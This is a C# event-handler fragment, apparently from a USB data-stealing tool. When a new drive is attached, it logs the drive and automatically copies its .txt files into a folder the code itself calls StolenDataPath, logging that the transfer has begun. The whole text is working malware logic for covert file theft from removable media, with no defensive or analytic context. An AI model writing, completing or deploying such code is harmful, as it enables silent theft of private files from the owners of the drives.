private void OnOnNewDriverAdded(DriveInfo driveinfo) { WhitelistDrivers.Add(driveinfo); Log.Append(new Log.Message(Log.EventType.Info, "New Driver: " + driveinfo.VolumeLabel + " (" + driveinfo.Name + ")")); // CopyDirectory(driveinfo.RootDirectory.FullName, StolenDataPath); IntelligentFileCopier.BeginTransfer(driveinfo.RootDirectory.FullName, Path.Combine(StolenDataPath, driveinfo.VolumeLabel), new[] { ".txt" }); Log.Append(new Log.Message(Log.EventType.Info, "Data transferring from \"" + driveinfo.RootDirectory.FullName + "\" to \"" + StolenDataPath + "\" started.")); OnNewDriverAdded?.Invoke(driveinfo); }